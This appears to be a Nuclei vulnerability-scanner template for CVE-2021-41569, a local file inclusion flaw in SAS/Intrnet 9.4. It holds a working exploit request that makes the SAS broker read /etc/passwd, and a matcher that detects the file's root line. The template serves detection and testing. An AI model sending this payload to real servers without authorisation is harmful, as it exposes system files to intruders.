id: CVE-2021-41569
info:
  name: SAS 9.4 build 1520 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: SAS/Intrnet 9.4 build 1520 and earlier allows Local File Inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.
  reference:
    - https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41569
    - https://support.sas.com/kb/68/641.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41569
    cwe-id: CWE-829
  tags: cve,cve2021,sas,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200